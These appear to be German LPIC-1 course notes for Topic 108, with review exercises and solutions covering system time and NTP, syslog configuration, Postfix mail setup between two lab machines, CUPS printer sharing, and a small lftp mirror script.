=== Übungen/Fragen zur Wiederholung

. Erstellen Sie eine einmalig auszuführende Aufgabe, die am morgigen Tag zur Tee- bzw. Kaffeezeit die aktuelle Uhrzeit zusammen
mit der Nachricht "Jetzt ist Vesper." ins Systemlog schreibt.

	at teatime tomorrow
	at> logger "Jetzt ist Vesper: `date +%F`"
	STRG + D

. Lassen Sie sich die einmalig laufenden, auf Ausführung wartenden Aufgaben auflisten, löschen Sie den letzten Job.

	atq
	at -c 6    (Detaillierte Auskunft über der Job 6 erhalten)
	atrm 6      (Alternativ: at -r)

. Wie heißen wichtige Variablen für die Lokalisierungseinstellungen eines Benutzers? Mit welchen Kommandos kann man sie ausgeben?

	Das Kommando "locale" gibt eine Übersicht aus, beseispielsweise:

		* LANG
		* LC_PAPER
		* LC_TIME       (Zeit- und Datumsformat, NICHT die Zeitzone!! -> TZ)
		* LC_TELEPHONE
		* LC_ALL        (Nicht überschreibbar!)

. Welche Variable kann mehrere Lokalisierungvariablen mit Default-Werten ausstatten, wobei sie aber mit eigenen Werten überschrieben werden können?

	Die Variable "LANG"

. Geben Sie mit Hilfe von 'date' temporär in einer Kommandozeile die aktuelle Uhrzeit von Bulgarien aus.

	Zeitzonenkonfigurationsfrontend:  tzselect

	    TZ=Europe/Sofia date

. In welcher Verzeichnisstruktur befinden sich die Binärformat-Zeitzonendateien?

	/usr/share/zoneinfo     --> Kontinent/Stadt

. Wie heißt die Datei, die die Zeitzone Ihres Rechners ausgehend von den Binärformat-Zeitzonendateien konfiguriert?

	/etc/localtime  	(Die Ortszeit (Stadt), die am Rechnerstandort gilt...)

. Wie heißt die Datei (falls vorhanden), mittels der Sie in Erfahrung bringen können, in welcher Zeitzone Sie sich aktuell befinden?

	/etc/timezone		(Zur Kontrolle, Klartextdatei)

. Laden Sie sich unter Debian als 'root' die englische Tastaturbelegung. Testen Sie es und setzen Sie die Einstellung
abschließend zurück (Siehe https://wiki.debian.org/Keyboard).

	dpkg-reconfigure console-data
	dpkg-reconfigure keyboard-configuration
	service keyboard-setup restart

. Mit welchem Kommando kann man unter X11 die Tastaturbelegung temporär von Deutsch auf US-Amerikanisch umstellen (Siehe obigen Link)?

	setxkbmap us


== Topic 108.1: Maintain system time

=== Uhrzeit stellen

Unterschiede Windows / Unix:

	* Windows konfiguriert die Uhr lediglich nach Localtime (Ortszeit, hier: Berlin)
	* Unix führt zwei Uhren: Die HW-Uhr läuft nach GMT/UTC, die SW-Uhr liefert bei Anfrage
	  einer Anwendung die Zeit je nach Zeitzone live umgerechnet aus.
	* Herausfinden, nach welcher Uhr das System läuft: 'cat /etc/adjtime' --> hier
	  wird entsprechend dem Linux-Standard u.a. "UTC" ausgegeben, das bedeutet:

		** Die BIOS-Uhr läuft nach GMT, sie Software-Uhr muss immer umrechnen
		** Diese Voreinstellung ist NICHT empfehlenswert bei einem Dual-Boot mit Windows,
		   dann muss in der 'adjtime' der Wert "LOCAL" eingetragen werden, dann aber
		   dürfen HW- und SW-Uhr nicht mehr mit Zeitversatz zu laufen

Das Stellen der beiden Unix-Uhren:

	* Software-Uhr: date, rdate, ntpdate
	* Hardware-Uhr: hwclock

Beispiele (Als root auszuführen):

	* Nur Zeit stellen: 'date -s 10:20'
	* Zeit und Datum: 'date 01271012'
	* Zeit und Datum mittels NTP (TCP-Port 123): 'ntpdate time.fu-berlin.de'
	* Die HW-Uhr nach der SW-Uhr stellen: 'hwclock --systohc'  [--utc]  [--localtime]
	* In Ausnahmefällen umgekehrt: 'hwclock --hctosys'


Zeitsynchronisation mit NTP-Server

	* Installation unter Debian: 'apt-get install ntp'  (= Server und Client zugleich)
	* Konfiguration: 'vi /etc/ntp.conf'

		** Angabe eines Zeitservers im LAN:  _server 10.0.0.1_
		** Angabe eines speziellen Zeitservers: _server time.fu-berlin.de_

	* Server stoppen, um Uhr an GMT heranführen zu können: 'service ntp stop'
	* Uhr nach GMT stellen: 'ntpdate pool.ntp.org'
	* Server starten: 'service ntp start'
	* Kontrolle der NTP-Queue (Peers ausgeben):  'ntpq -p'
		(Interessante Spalten: offset, jitter)
	* Interaktive Kontrollprogramm: 'ntpdc' (help / sysinfo)
	* Bei Debian bietet der NTP-Server automatisch seinen Dienst im LAN an, zur Überprüfung:

		nmap -p 123 -sU 172.16.0.1   (NICHT mit 'localhost' testen)


=== NTP-Server auf CentOS einrichten

Die Software ist bereits vorinstalliert.

	* Konfiguration: 'vi /etc/ntp.conf'

		** Angabe den benachbarten Zeitservers im LAN:  _server 172.16.0.1_
		   (Die anderen Server auskommentieren)

	* Dienst starten: 'service ntpd start'

	* Runlevel-Links für automatischen Start erzeugen:

		** Bis CenOS 6.5: 'chkconfig ntpd on'
		** Ab CentOS 7.0: 'systemctl enable ntpd'

	* Kontrolle: Siehe oben (ntpq, ntpdc)


=== Übungen/Fragen zur Wiederholung

.  Wie kann man sich das Datum nach "Coordinated Universal Time" (UTC) ausgeben lassen? +
	Siehe dazu:

		* http://lfs.netservice-neuss.de/clfs/view/cross-lfs/x86/bootscripts/setclock.html

		* https://bbs.archlinux.org/viewtopic.php?id=166779

       date --utc

	 -> Kurzform: -u

. Wie kann man mit Hilfe der System/Software-Uhr die BIOS-Uhr stellen, wenn letztere zu weit abgedriftet ist?

	date 01281005
	hwclock --systohc [--utc] [--localtime]  	(Standard ist dabei die UTC-Zeit.)

	 -> Kurzformen:  -w (--systohc), -u (--utc)

. Wie lässt sich die Systemzeit in einem einmaligen Vorgang via Internet mit Hilfe eines sehr
genauen Protokolls stellen?

	ntpdate pool.ntp.org

. Wie heißt die Konfigurationsdatei des Dienstes, des mit Hilfe dieses sehr genauen Protokolls
die Systemzeit permanent überwachen und stellen kann?

	/etc/ntp.conf

. Setzen Sie mit Hilfe von `hwclock` die Uhrzeit ohne Umwege über ein weiteres Kommando. +
	Siehe dazu:
		* 'man hwclock'
		* http://nickbeare.com/102.html

	hwclock --set --date="01/28/2015 10:05"



== Topic 108.2: System logging


=== Log-Daemons

Mit dem Starten von Linux werden Logdienste auf zwei Ebenen gestartet:

	a) 'klogd' fängt die frühen Kernelmeldungen ab und speichert sie später ab
	   (Input: /proc/kmsg, Output: /var/log/boot.log)

	b) 'syslogd' nimmt dann alle möglichen Meldungen  (von verschiedensten Diensten stammend)
	   entgegen und speichert sie in unterschiedlichste Dateien oder sendet sie an andere Syslog-Daemons

Es gibt interschiedlichste Implementierungen des syslogd:

	* Klassischer 'syslogd'
	* Verbesserter Dienst: 'syslog-ng'
	* Dienst mit verschlüsselter Kommunikation: 'rsyslogd'


=== Konfiguration des alten Syslogd

	* Name der Datei: _/etc/syslog.conf_
	* Aufbau der Datei:
	     ** Header: Definition von allgemeinen Variablen, Modulen und Arbeitsverzeichnissen
	     ** Rules: Aufsplittung in drei Spalten: _facility.level   action_
	     ** Zur Spalte _facility_:
			Mögliche Meldungs-Quellen (Auswahl):
				- auth (Autorisierung)
				- cron (Zeitdienst)
				- kern (Kernel)
				- local0 bis local7 (frei belegbare Quellen)

	    ** Zur Spalte _level_:
			Mögliche Meldungs-Level:
				- debug (Anwendungsdebugging)
				- info  (allgemeine Informationen)
				- notice (etwas wichtigere Hinweise)
				- warn, warning (i.d.R. harmlos)
				- err, error (Fehler)
				- crit
				- alert
				- emerg

			Dabei beinhalten niedrigere Level die Meldungen der höheren, z.B.
			beinhaltet '*.info' den Level "info" und höher. Möchte man exakt nur
			einen Level loggen, ist das '=' erforderlich: '*.=info'

	    ** Zur Spalte _action_:
			Mögliche Aktionen:
		   	  - Logausgabe in Datei: _/var/log/auth.log_ (absolute Pfade!)
			  - Logausgabe in Datei, wobei zwischengepuffert wird (Minus
				 voranstellen): _-/var/log/syslog_
			  - Logausgabe auf Konsole: _/dev/tty10_
			  - Logausgabe an einen Benutzer: _max_
			  - Logausgabe an alle eingeloggten Benutzer: _*_
			  - Logausgabe an den entfernten Loghost-Rechner senden:  _@loghost_
			    (Der Daemon auf diesem Loghost muss mit Option '-r' gestartet werden)
			  - Logausgabe auf benannte Pipe: _|_, z.B. '|/dev/xconsole'

			    Um unter Debian die bereits vordefinierte Protokollierung via
			    '/dev/xconsole' auslesen zu können, müssen die Berechtigungen
			    angepasst werden:

				chgrp adm /usr/bin/xconsole
				chmod 2755 /usr/bin/xconsole

			   Damit kann nun ein Benutzer dieses Programm 'xconsole' aufrufen und
			   die vor allem auch die Meldungen lesen.

			   ACHTUNG: Bitte in Sachen Datenschutz aufpassen: wird hier 'auth' und
			   'authpriv' mit in die Pipe geschrieben?


			   Zur Untersuchung des Falls:
				'grep -v ^#  /etc/rsyslog.conf | grep -B4  xconsole'

			   Die Ausgabe dieser Zeile lautet:

----
daemon.*;mail.*;\
	news.err;\
	*.=debug;*.=info;\
	*.=notice;*.=warn	|/dev/xconsole
----

Besser wäre im obigen Abschnitt hinzuzufügen:  'auth,authpriv.none'

''''

**Aufgabe:**  Geben Sie die Ausgabe aller Dienste jeden Levels auf die Konsole '/etc/tty10' aus.
	  Hinweis: Nach Änderung der Konfigdatei muss der Dienst "reloaded" werden.


**Lösung:**

		echo '*.*         /dev/tty10' >> /etc/rsyslog.conf
		service rsyslog restart
		logger 'Logging und Jogging...'
		STRG + ALT + F10


=== Sichern / Komprimieren der Logdateien



Das Tool der Wahl: 'logrotate'

**Arbeitsweise:** Logdateien werden umbennant und komprimiert, danach wird einfach eine neue Datei erzeugt und Daten hineingeschrieben. Siehe 'man logrotate'

Das Programm wird über 'cron' gesteuert.

Bitte Datei '/etc/logrotate.conf' studieren...



=== Betrachten von Logfiles

	* 'tail -f -n30	/var/log/boot.log'
	* 'tail -f -n30	/var/log/syslog'
	* 'tail -f -n30	/var/log/messages'
	* logtail
	* logwatch (Logparser)

=== Fragen/Aufgaben zur Wiederholung

.  Zählen Sie alle Facilities der `/etc/syslog.conf` Syslog-Deamons auf.

        * Siehe `man syslog.conf`

  	auth, authpriv, cron, daemon, kern, lpr, mail, mark, news, syslog, user, uucp, local0 - local7

. Zählen Sie alle Prioritäts-Level der `/etc/syslog.conf` auf.

        * Siehe `man syslog.conf`

	debug, info, notice, warning, warn (same as warning), err, error (same as err), crit, alert, emerg,  panic  (same  as  emerg)

. Listen sie die Möglichkeiten von Aktionen (Log-Ziele) in der `/etc/syslog.conf` auf.

   * Logfile (Mit absoluten Pfaden! Ein vorangestelltes Minus bedeutet "Kein sofortiges "sync" duchführen, sondern "Caching ist erlaubt")
   * Named Pipes: "|", z.B. `/dev/xconsole`
   * Unix Domain Socket: "@@"
   * Terminals/Consolen: /dev/tty10
   * Remote Machine: "@RemoteHostName"
   * List of Users: "root,max,fritz"
   * An jeden eingeloggten Benutzer (via Kommando `wall`): "*"


. Erstellen Sie einen Log-Eintrag, der speziell nur die beiden Facilities _user_ und _lpr_ in eine Datei `/var/log/user.log` schreibt.

 * Datei Bearbeiten: `vi /etc/syslog.conf`  einfügen

               user,lpr.*              /var/log/user.log
  Alternativ:
               user.*;lpr.*            /var/log/user.log

. Wie kann man eine bestimmte Facility NICHT mit in ein File loggen lassen?


	* Ausnahme:  facility.none'
	* Beispiel von Debian:

                 *.*;auth,authpriv.none              -/var/log/syslog

. Welche Sonderzeichen können den "Actions" vorangestellt werden und was bedeuten Sie?

	* Minus: Logdatei wird gepuffert
	* '@':	 An rechner weiterleiten
	* Pipe:  An Benannte Pipte weiterleiten
	* Stern: An jeden eingeloggten Benutzer senden


== Topic 108.3: Mail Transfer Agent (MTA) basics

Zum Einstieg: Google-Bildsuche:  mta mda mua maa

Komponenten:

	* Mail Transfer Agent (MTA) = Mailer Daemon, Direktübertragung zwischen MTAs via
		Simple Mail Transfer Protocol (SMTP, TCP-Port: 25)

		=> Das ganze Internet spricht SMTP!

	* Mail Delivery Agent (MDA) = Postbote, der die eingegangene Mail verteilt

	* Mail User Agent (MUA) = Mail Reader/Writer (Thunderbird, Evolution, kmail, mail, ...)

	* Mail Access Agent (MAA) = Paketdienst zum verschlossenen Briefkasten, da einfache 		  Nutzer i.d.R. keinen MX-Record bei Ihrem Nameserver haben, müssen sie selber zum
	  Postkasten gehen., Protokolle: POP3, IMAP


=== Einrichtung von MTA - MTA-Kommunkation

Welcher MTA sollte man wählen?

	* sendmail (Sehr flexibel aber auch komplizierte und eher unsicher)
	* postfix (= Standard Linux-MTA, modular, sicher)
	* qmail (moduler, sehr sicher)
	* exim (kleiner, feiner Daemon, Standard Debian-MTA)


Installation von "postfix"

	* DEBIAN: apt-get install postfix  (Profil "Internet Site" wählen, DNS-Name: domain.site)
	* CentOS: rpm -qa | grep post      (Ist bereits vorinstalliert)

Konfigdateien:

	* Meisterdatei: /etc/postfix/master.cf   (Einbindung von Spamassissin, ClamAV, == Inetd)
	* Hauptdatei:  /etc/postfix/main.cf      (Hauptkonfigdatei) +
								    +
		Wichtige Einstellungen:

			* Für welche Domaine nehme ich Nachrichten an?  => `mydestination`	+
												+
					BILDUNG: hostname.domain.tld				+
												+
 				Hostname ermitteln: "hostname" -> deb7				+
												+
					Im Beispiel:

					mydestination = deb7.domain.site, localhost

			* Aus welchem Netzwerk Anfragen zugelassen werden:  => `mynetworks`	+
												+
					Im Beipiel:

					mynetworks = 172.16.0.0/30 127.0.0.0/8 ...

			* Soll über einen MX-Record (DNS, via UDP, Port 53) die Mail-Domäne
			  aufgelöst werden? Nein: im einfachsten Falle reicht statische Auflösung
			  in den _/etc/hosts_-Dateien auf allen beteiligten Rechnern.		+
												+
					Schalter explizit setzen:				+

					disable_dns_lookups = yes


Kontrolle der Einstellungen: 'postconf -n | egrep 'mydest|mynet|dns''

----
disable_dns_lookups = yes
mydestination = deb7.domain.site, localhost
mynetworks = 172.16.0.0/30 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
----

Dienst neu starten:  'service postfix restart'


==== Namensauflösung für beide Testsysteme konfigurieren

Statische Zuordnung `vi /etc/hosts` (Eintragen der IP-Adress-Namenzuordnung des jeweils Anderen)

	* Auf Debian: _172.16.0.2  cent7.domain.site  cent7_
	* Auf CentOS: _172.16.0.1  deb7.domain.site  deb7_


BEISPIEL VON CENTOS:

	cat /etc/hosts

----
### Die Domaine für die Maschine selbst festlegen:
127.0.0.1  cent7.domain.site  cent7
::1        cent7.domain.site  cent7

### Den benachbarten MTA auflösen
172.16.0.1  deb7.domain.site  deb7
----

Hostname festlegen:

	vi /etc/hostname

----
cent7.domain.site
----




=== Mailsystem inbetriebnehmen

**Checkliste:**

	* Funktioniert die Namensauflösung?

		** hostname -f  (Dateien: /etc/hostname, /etc/hosts)
		** domainname -d  [-I]
		** Bei Debian zusätzlich wichtig: /etc/mailname (-> _deb7.test.site_)
		** ping-Tests mit FQDN durchführen


	* Konfiguration von Postfix (auf Debian):

		** Unter Debian:

		   - Datei prüfen: `egrep '^mydest|^mynet|dns' /etc/postfix/main.cf`

			mydestination = deb7.test.site, localhost
			mynetworks = 172.16.0.0/30 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
			disable_dns_lookups = yes


		   - Resultierende Einstellungen: `postconf | egrep '^mydest|^mynet|disable_dns'`

			disable_dns_lookups = yes
			mydestination = deb7.test.site, localhost
			mynetworks = 172.16.0.0/30 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
			mynetworks_style = subnet

		** Unter CentOS:

		   - Datei prüfen: `egrep '^mydest|^mynet|dns' /etc/postfix/main.cf`

			mydestination = $myhostname, localhost.$mydomain, localhost
			disable_dns_lookups = yes

		   - Resultierende Einstellungen: `postconf | egrep '^mydest|^mynet|disable_dns'`

			disable_dns_lookups = yes
			mydestination = $myhostname, localhost.$mydomain, localhost
		       	mynetworks = 127.0.0.0/8 172.16.0.0/30 192.168.99.0/24 [::1]/128	[fe80::]/64
			mynetworks_style = subnet

	* Nach Änderungen der '/etc/postfix/main.cf' nicht vergessen, den MTA neu zu starten:

			service postfix reload

	* Nun müssen beide Systemen Port 25 geöffnet haben: `netstat -tln`

**E-Mails versenden**

	* Von Debian aus: `echo Inhalt | mail -s Mailing1 tux@cent7.domain.site`
	* Von CentOS aus: `echo Inhalt | mail -s Mailing2 tux@deb7.test.site`


**Kontrolle:**

	* Debian (in separaten Fenster): `tail -f /var/log/mail.log`
	* CentOS (in separaten Fenster): `tail -f /var/log/maillog`
	* Auf beiden Systemen: Ist die ausgehende Queue (/var/spool/mqueue) leer geworden? `mailq`
	* Wenn nicht, sofortigen Zustellversuch anstoßen: `sendmail -q`
	* Auf beiden Seiten die mbox-Dateien im Empfangsordner betrachten (Zeitstempel!):

		ls -ltrc /var/spool/mail/

			-rw------- 1 mail    mail 223427 Jan 28 14:39 mail
			-rw-rw---- 1 nobody  mail    876 Jan 28 15:09 nobody
			-rw-rw---- 1 herbert mail    445 Jan 29 15:12 herbert
			-rw-rw---- 1 hubert  mail    455 Jan 29 15:13 hubert
			-rw-rw---- 1 tux     mail   7258 Jan 29 16:09 tux


	* Oder als Nutzer die Mails regulär lesen:

		su - herbert
		mail


Wie auch openSuSE sagt: _Have a lot of fun..._


=== Fragen/Aufgaben zur Wiederholung


. Nennen Sie vier typische Linux-MTA's.

	* sendmail
	* postfix
	* qmail
	* exim

. Woran erkennt man, dass der Mailer Daemon die Mails erfolgreich ausliefern konnte?
+
=> Es sind keine Mails mehr in der ausgehenden Warteschlange, zur Überprüfung:

	* Kommando `mailq`
	* Verzeichnis '/var/spool/mqueue'

. Mit welchem Kommando kann man einen erneuten Mail-Auslieferungsversuch auslösen?

	* Kommando `sendmail -q`

. Wie heißt die Datei, in der Sie einen anderen, stellvertretenden E-Mailnamen für ein oder mehrere existierende E-Mail-Adressen
definieren können? (Vollständigen Pfad mitsamt Dateinamen angeben)

	* Datei '/etc/aliases'

. Welches Kommando müssen Sie ausführen, nachdem Sie solch einen stellvertretenden E-Mailnamen festgelegt haben?

	* Kommando `newaliases`


. Wie heißt die Datei, in der Sie als einfacher Benutzer für den Zeitraum Ihrer Urlaubsabwesenheit die E-Mailadresse Ihrer Vertretung angeben können, die dann
Ihre Nachrichten erhält?

	* Datei '~/.forward'

. Erweitern Sie das Skript 'ftpmirror' um einen im Vorfeld auszuführenden Erreichbarkeitstest des verwendeten FTP-Servers.
Ist er nicht ansprechbar, soll das Skript vor der Ausführung von "lftp" seine Arbeit mit einer Fehlermeldung und dem Exitcode 5 quittieren.

Dateiname des Skriptes: 'ftpmirror'

----
#!/bin/bash
#
# ftpmirror

host="lpic1.example.test"

download(){
  lftp -e 'mirror --verbose /HandOuts/PemmannAxel/LPI-102 /home/tux/LPI-102; by' $host
}


### Lösung 1
#ping -c1 $host > /dev/null 2>&1 || download


### Lösung 2
#ping -c 1 $host
ping -c 1 $host > /dev/null 2>&1
if [ $? -ne 0 ]
	then
	    echo "NETZWERKFEHLER: Host $host nicht erreichbar."
	else
	    download
fi
----


== Topic 108.4: Drucker und Druckvorgänge verwalten


=== Linux-Drucksysteme

	* Der portierte BSD-Spooler: lpr/lpd (Line Print Daemon)

		** _/etc/printcap_: Kürzel: `rm` = remote machine, `rp/lp` = remote printcap
	* Erweiterter BSD-Spooler: lpr-ng (Line Print Next Generation)
	* CUPS: Common Unix Printing System (von Apple) +
		--> spezielles Protokoll: Internet Printing Protocol (IPP, TCP-Port 631)

Das große Problem ist nach wie vor: Wie ist der Linux-Support (Treiber), also vor dem Kauf informieren:

http://www.linuxfoundation.org/collaborate/workgroups/openprinting/database/databaseintro

Ziel ist hierbeit, eine zum Drucker passende PostScript Printer Description (PPD-Datei) zu erhalten.


Was bedeutet Drucker "Linux-Druckertreiber"?

	* In erster Linie: Übersetzungprogramm (Filter) von verschiedensten Druckersprachen 		  (z.B. PCL5) ins Unix-Standardausgabeformat PostScript.

		AUFGABE: Suche nach Paketen mit "filter" im Namen

				apt-cache search filter | egrep -i 'print|druck'

		   => Treffer, u.a.: foomatic, foomatic-db-gutenprint, ghostscript-cups

	* Hardware-Schnittstellen

		** Einfacher Test für Paralleldrucker: `echo Hallo Drucker... > /dev/lp0`
		** USB-Drucker werden i.d.R. via udev automatisch erkannt
		** Netzwerkdrucker (Printserver): werden z.T. ebenfalls erkannt, ansonsten 			   einfache manuelle Konfiguration möglich


=== Verwalten von Warteschlangen

Je nach Drucksystem gibt es unterschiedliche Kommandos, aus Kompatibilitätsgründen wird aber eine Mindestausstattung von BSD-artigen Tools immer mit ausgliefert, die rudimentäre Verwaltungsoptionen bieten.

Wichtige Werkzeuge:

	* Warteschlange einsehen: lpq [-l], lpstat
	* Druckaufträge löschen: lprm, `lpr -r`
	* Aufträge verwalten: lpc (interaktives Programm, so kann z.B. mit _topq_ ein 		   Druckauftrag an den Anfange der Warteschlage gestellt werden.), cupsenable, 			cupsdisable, cupsaccept, cupsreject

=== Druckaufträge senden

Wichtige Werkzeuge:

	* Vom alten BSD-Spooler stammend: `lpr`

		** Anzahl von Kopien angeben: `-#`, alternativ: `-K`
		** Druckername angeben (Printer): `-P <NAME>`
		** Rohdaten ausdrucken (kein Druckerfilter benutzen): `-l` (Alternative: `-o raw`)

	* Mit CUPS ausgelifert: `lp`

		** Anzahl von Kopien angeben: `-n`
		** Druckername angeben (destination): `-d <NAME>`



=== Drucker konfigurieren

	* CUPS

		** Cmdline: lpadmin
		** Web-UI: Im Browser http://localhost:631


=== Konfiguration eine CUPS-Drucksystemes

**Installation**

	* Debian: `apt-get install cups` +
		(Metapaket für Komplettsystem, nur der Client: `cups-client`)
	* CentOS: `yum install cups`

**Konfiguration**

	* Drucker anschließen, und für Autoerkennung einschalten (USB, Netzwerk)
	* Drucker hinzufügen
		** Per Web-UI: Im Webbrowser: http://localhost:631
			- Alternativ kann das Webfrontend für LAN-Nutzung freigeschaltet
                           werden. Siehe unter <<anchor-1, Zugriff via Web-Frontend>>

		   a) Ist Port 613 offen?

			 nmap -p 631 localhost   --> Ja, per lo (127.0.0.1)

				GRUND:  grep Listen /etc/cups/cupsd.conf
								Listen localhost:631

			 nmap -p 613 172.16.0.1  --> Nein

                       ==> einfach eine Ziele hinzufügen:  "Listen 172.16.0.1:631"

				Zusätzlich muss am Ende des Abschnittes "<Location /admin>"
				hinzugefügt werden:  "Allow @LOCAL"

	       	  b) Die wichtigsten Schritte:

			- "Administration" -> "Add Printer" -> Als 'root' authentifizieren
			- Jetzt sollten Drucker entdeckt worden sein ("Discovered Printer") -> 		                  Auswahl treffen
				(evl. mit 'dmesg' kontrollieren,
   			        ob USB-Gerät gefunden wurde; +
			im Netzwerk selber suchen: `nmap -p 21,613,9100 192.168.2.0/24`) +
				=> Oft verwendete URI, falls keine Erkennung möglich war:  _socket://10.0.0.10:9100_

			- Im Feld "Name" kurzen Namen vergeben
			- Treiber finden (Per Hersteller/Modell, notfalls "generic"-Treiber
				mit zugehöriger Druckerspache wählen (PCL6)
			- Bestätigen mit "Add Printer"
			- Papieroptionen mit "Set Default Options" festlegen
			- Im letzten Schritt den neuen Drucker zum Standarddrucker machen: +
		-> unter "Drucker Verwalten"(Englisches UI: "Administration") +
		 "Als Standard festlegen"  (engl: "Set as Server default")
			- Kontrolle: Nach `lpstat -t` zeigt nun auch `lpq` den Drucker an.


=== Fragen/Aufgaben zur Wiederholung und Vertiefung

==== Theoretische Fragen

Laden Sie das Dokument von http://ftp.utcluj.ro/pub/docs/ldp/bible-src/howtos/printing.html, beantworten Sie
auf dessen Basis sowie mit Hilfe der jeweiligen man-Pages die folgenden Fragen.

. Wozu dient das Programm 'pr', wie können Sie damit einen Heftrand von 7 ASCII-Zeichen erzeugen? +
  -> `man pr`
  +
  -> Weiterführendes unter:
      * http://www.mcmcse.com/linux/LPI_101_Study_Guide.pdf +
      * http://ftp.utcluj.ro/pub/docs/ldp/bible-src/howtos/printing.html#SEC2

	 pr -o 7 /etc/hosts | lp -d MyEpsonLaser

. Studieren Sie die Möglichkeiten des Verwaltungswerkzeuges 'lpc'. +
  -> http://ftp.utcluj.ro/pub/docs/ldp/bible-src/howtos/printing.html#SEC32 +
	+
	Beispiele aus dieser Quelle:

	lpc down myprinter
	lpc enable yourprinter
	lpc topq 37

. Wie ist die Datei '/etc/printcap' aufgebaut, wie gibt man entfernte Drucker an? +
  -> http://ftp.utcluj.ro/pub/docs/ldp/bible-src/howtos/printing.html#SEC35 +
	+
 	Aus dieser Quelle: `cat /etc/printcap`

	# Sample printcap entry with two aliases
	myprinter|laserwriter:\
		# lp is the device to print to - here the first parallel printer.
		:lp=/dev/lp0: \
		# sd means 'spool directory' - where print data is collected
		:sd=/usr/spool/lpd/myprinter:

	Weitere Anweisungen:
		if      string     -     specify the input filter name
		rm      string     -     specify the name of a remote printing machine
		rp      string     -     specify the name of a remote printer

. Wie versteht man unter einem Filter-Skript, welche Rolle spielt dabei `lpr -l`? +
  -> http://ftp.utcluj.ro/pub/docs/ldp/bible-src/howtos/printing.html#SEC57 +
	+
	= Ausführbares Shell-Skript, das z.B. mit "sed" Zeichen ersetzt und mittels der
	  Anweisung "if=..." in der '/etc/printcap' aufgerufen wird. +
	+
	Das Kommandozeilenfragment `lpr -l` bedeutet "ohne Filter ausdrucken" (= Rohdatendruck).

. Mit welchen Dateien lassen sich beim lpr-Drucksystem Berechtigungen verwalten? +
  -> http://ftp.utcluj.ro/pub/docs/ldp/bible-src/howtos/printing.html#SEC69 +
	+
      Aus dieser Quelle: '/etc/hosts.lpd' is for printing only. (Eine Client-Maschine pro Zeile),
	'/etc/hosts.equiv' will allow for unauthenticated logins (Trusted Hosts, jeweils ein 		"hostname username"-Paar pro Zeile hinterlegen)

==== Praxisaufgabe zur Vertiefung von Shell Scripting

**Zielstellung:** Erweiterung des Skriptes 'ftpmirror' um eine Upload-Funktionalität

  * Legen Sie eine Ordnerstruktur namens '~/Upload' an.

   mkdir ~/Upload

  * Fügen Sie Ihrem Skript eine Funktion namens _upload_ hinzu, die die folgende Kommandozeile beinhaltet, ersetzen Sie dabei das im Quellpfad stehende Wort _USER_ durch Ihren Loginnamen, tragen Sie außerdem im Zielpfad anstelle von `<IHR-NACHNAME>` Ihren Nachnamen (Ohne Leerzeichen und Umlaute!) ein.

  lftp -e 'mirror --verbose --reverse /home/USER/Upload /HandOuts/Kursteilnehmer/<IHR-NACHNAME>; by' lpic1.example.test

  LÖSUNG:

  upload(){
  lftp -e 'mirror --verbose --reverse /home/tux/Upload /HandOuts/Kursteilnehmer/pemmann; by' $host
}


  * Erweitern Sie Ihr Skript um eine case-Verzeigung, die bei Übergabe des Schlüsselwortes _down_
  einen Download mittels der bereits vorhandenen Funktion _download_ startet. Sehen Sie weiterhin einen zweiten Zweig
  mit dem Schlüsselwort _up_ für den Upload von Daten vor. +
  -> Siehe case-Beipiele unter   http://www.thegeekstuff.com/2010/07/bash-case-statement/

	Unterhalb von "else" in die if-Verzweigung einfügen, das Wort "download" ausschneiden und unterhalb von "down)" platzieren:

	case "$1" in
            down)
                download ;;
            up)
                ;;
            *)
                echo "Aufruf: $0 {down|up}" ;;
        esac


  * Rufen Sie die oben definierte Funktion _upload_ aus demjenigen case-Zweig auf, den Sie mit dem Schlüsselwort
  _up_ ausgestattet haben.

	Das Wort "upload" an passender Stelle hinzufügen:

	case "$1" in
            down)
                download ;;
            up)
                upload ;;
            *)
                echo "Aufruf: $0 {down|up}" ;;
        esac

  * Testen Sie das Hochladen von Daten, in dem Sie eine Testdatei in den Ordner
  '~/Upload' legen und danach das Skript mit `./ftpmirror up` ausführen.

   echo 123 > ~/Upload/tests.txt
   ./ftpmirror up

Hier ist das gesamte Skript:

----
#!/bin/bash
#
# ftpmirror

host="lpic1.example.test"

download(){
  lftp -e 'mirror --verbose /HandOuts/PemmannAxel/LPI-102 /home/tux/LPI-102; by' $host
}

upload(){
  lftp -e 'mirror --verbose --reverse /home/tux/Upload /HandOuts/Kursteilnehmer/pemmann; by' $host
}

ping -c 1 $host > /dev/null 2>&1
if [ $? -ne 0 ]
        then
            echo "NETZWERKFEHLER: Host $host nicht erreichbar."
        else
          case "$1" in
            down)
                download ;;
            up)
                upload ;;
            *)
                echo "Aufruf: $0 {down|up}" ;;
          esac
fi
----


=== Freigeben von CUPS-Druckern

**Voraussetzung:** Ein Drucker wurde bereits mit dem Web-UI oder `lpadmin` eingerichtet.

==== Administration via LAN aktivieren (Auf CentOS)

Im Falle der Fernadministration muss neben dem Port-listening und der Freigabe von Server-Root ("/") der Ordner "/admin" freigegeben werden: +
	+
   Hauptkonfiguratiosdatei bearbeiten: `vi /etc/cups/cupsd.conf`

	# a) Unterhalb "Listen localhost:631" hinzufügen:
 NEW:	Listen 172.16.0.2:631


        # b) Als globale Voraussetzung Druckerfreigaben erlauben
	# Ergänzung von "Allow @LOCAL" im Server-Root-Abschnitt unterhalb von "Order allow,deny":
	<Location />
	Order allow,deny
 NEW:	Allow @LOCAL
	</Location>

	# c) Administrative Fernadministration via Web-UI erlauben
	# Ergänzung von "Allow @LOCAL" im "/admin"-Abschnitt
	<Location /admin>
	Order allow,deny
 NEW:	Allow @LOCAL
	</Location>


Damit ist der Drucker als Printserver im LAN nutzbar (die erlaubten Netzwerk-IDs werden mittels "@LOCAL" eingebunden), zugleich lassen sich Drucker fernadministrieren.


==== Freigabe eines speziellen Druckers

Als erstes muss der Druckdienst gestoppt werden, da im laufenden Betrieb die Druckerkonfigurationsdatei NICHT bearbeitet werden darf:

	service cups stop


Nun muss die Datei `/etc/cups/printers.conf` bearbeitet werden, dem Parameter "Shared" übergibt
man beim betreffenen Drucker "Yes".

	Shared Yes

Nun kann der Dienst wieder gestartet werden:


	service cups start


[[anchor-1]]
==== Zugriff via Web-Frontend


Nun ist nicht nur eine Konfiguration vom selben Rechner aus möglich, sondern auch von einem beliebigen Rechner des LANs:

	firefox http://172.16.0.2:631

	 --> Ins Untermenü "Administration" gehen
	 --> "Add Printer" anklicken

